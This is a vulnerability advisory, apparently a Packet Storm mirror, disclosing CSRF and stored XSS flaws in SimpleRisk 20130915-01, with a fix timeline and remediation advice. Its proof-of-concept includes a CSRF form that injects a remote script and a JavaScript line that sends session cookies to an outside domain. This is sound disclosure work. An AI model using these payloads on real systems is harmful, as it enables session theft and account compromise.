SimpleRisk 20130915-01 Cross Site Request Forgery / Cross Site Scripting

2013-09-3000:00:00
Ryan Dewhurst
packetstormsecurity.com
EPSS
0.002
Percentile
62.5%
JSON
`1. *Advisory Information*  
  
Title: SimpleRisk v.20130915-01 CSRF-XSS Account Compromise  
Advisory ID: RS-2013-0001  
Date Published: 2013-09-30  
  
2. *Vulnerability Information*  
  
Type: Cross-Site Request Forgery (CSRF) [CWE-352, OWASP-A8], Cross-Site  
Scripting (XSS) [CWE-79, OWASP-A3]  
Impact: Full Account Compromise  
Remotely Exploitable: Yes  
Locally Exploitable: Yes  
Severity: High  
CVE-ID: CVE-2013-5748 (CSRF) and CVE-2013-5749 (non-httponly cookie)  
  
3. *Software Description*  
  
SimpleRisk a simple and free tool to perform risk management activities.  
Based entirely on open source technologies and sporting a Mozilla Public  
License 2.0, a SimpleRisk instance can be stood up in minutes and instantly  
provides the security professional with the ability to submit risks, plan  
mitigations, facilitate management reviews, prioritize for project  
planning, and track regular reviews. It is highly configurable and includes  
dynamic reporting and the ability to tweak risk formulas on the fly. It is  
under active development with new features being added all the time.  
SimpleRisk is truly Enterprise Risk Management simplified. [0]  
  
Homepage: http://www.simplerisk.org/  
Download:  
https://simplerisk.googlecode.com/files/simplerisk-20130915-001.tgz  
  
4. *Vulnerability Description*  
  
Cross-Site Request Forgery (CSRF) and Stored Cross-Site Scripting (XSS)  
have been discovered within SimpleRisk version 20130915-01 leading to  
complete account compromise. The CSRF vulnerability is used to deliver the  
XSS payload which accesses the authenticated user's session cookies and  
transmits them to a third-party domain under the attacker's control. Once  
the attacker has the user's session cookie, the attacker can authenticate  
to the application as the user.  
  
5. *Vulnerable Packages*  
  
Only version 20130915-01 was tested which was the latest version at the  
time of writing.  
  
6. *Vendor Information, Solutions and Workarounds*  
  
SimpleRisk released version 20130916-001 to address the issue.  
  
7. *Credits*  
  
These vulnerabilities were discovered by Ryan Dewhurst -  
http://www.randomstorm.com/ - http://www.dewhurstsecurity.com/  
  
8. *Proof of Concept (PoC)*  
  
8.1 *Cross-Site Request Forgery (CSRF)*  
  
The following CSRF PoC submits a POST request to the  
prioritize_planning.php page with the XSS payload within the new_project  
parameter.  
  
----  
<html>  
<body>  
<form action="  
http://127.0.0.1/simplerisk/management/prioritize_planning.php"  
method="POST">  
<input type="hidden" name="new_project"  
value="<script src=//ethicalhack3r.co.uk/files/xss/c.j></script>"  
/>  
<input type="hidden" name="add_project" value="Add" />  
<input type="hidden" name="projects" value="" />  
<input type="submit" value="Submit request" />  
</form>  
</body>  
</html>  
----  
  
8.2 *Stored Cross-Site Scripting (XSS)*  
  
The prioritize_planning.php page accepts user supplied input via the  
new_project POST parameter and then later outputs that data to the page  
without first being sanitised or encoded. The following code was used to  
inject JavaScript into the application's back-end database.  
  
Payload: <script src=//ethicalhack3r.co.uk/files/xss/c.j></script>  
Method: POST  
Parameter: new_project  
  
The c.j JavaScript file contained the following code which sends the user's  
authenticated session cookie to a third-party domain:  
  
document.write('<img src=//ethicalhack3r.co.uk/srx=' + document.cookie +  
'>');  
  
9. *Remediation*  
  
9.1 *Cross-Site Request Forgery (CSRF)*  
  
Set per page anti-csrf tokens (nonces) which are submitted with requests  
and then validated by the server. Please refer to OWASP's CSRF Prevention  
Cheat Sheet for further information. [1]  
  
9.2 *Cross-Site Scripting (XSS)*  
  
Properly sanitise and encode user supplied input and output. Please refer  
to OWASP's XSS Prevention Cheat Sheet for further information. [2]  
  
9.3 *Other Recommendations*  
  
. Add the httponly flag to the session cookie so that JavaScript's  
document.cookie can not access it. [3]  
. Set the Content Security Policy (CSP) header to whitelist where  
JavaScript is allowed to be loaded from. [4]  
. Set the X-XSS-Protection header to ensure the browser's XSS filtering is  
enabled. (only works for reflected XSS) [5]  
  
10. *Report Timeline*  
  
2013-09-16: SimpleRisk notified of issue.  
2013-09-16: SimpleRisk acknoledged issue.  
2013-09-16: SimpleRisk release new version.  
2013-09-30: Advisory released.  
  
11. *References*  
  
[0] http://www.simplerisk.org/  
[1]  
https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet  
[2]  
https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet  
[3] https://www.owasp.org/index.php/HttpOnly  
[4] https://www.owasp.org/index.php/Content_Security_Policy  
[5]  
https://www.owasp.org/index.php/HTML5_Security_Cheat_Sheet#X-XSS-Protection  
[6] http://www.randomstorm.com/  
[7] http://www.dewhurstsecurity.com/  
`
EPSS
0.002
Percentile
62.5%
JSON
Related for PACKETSTORM:123455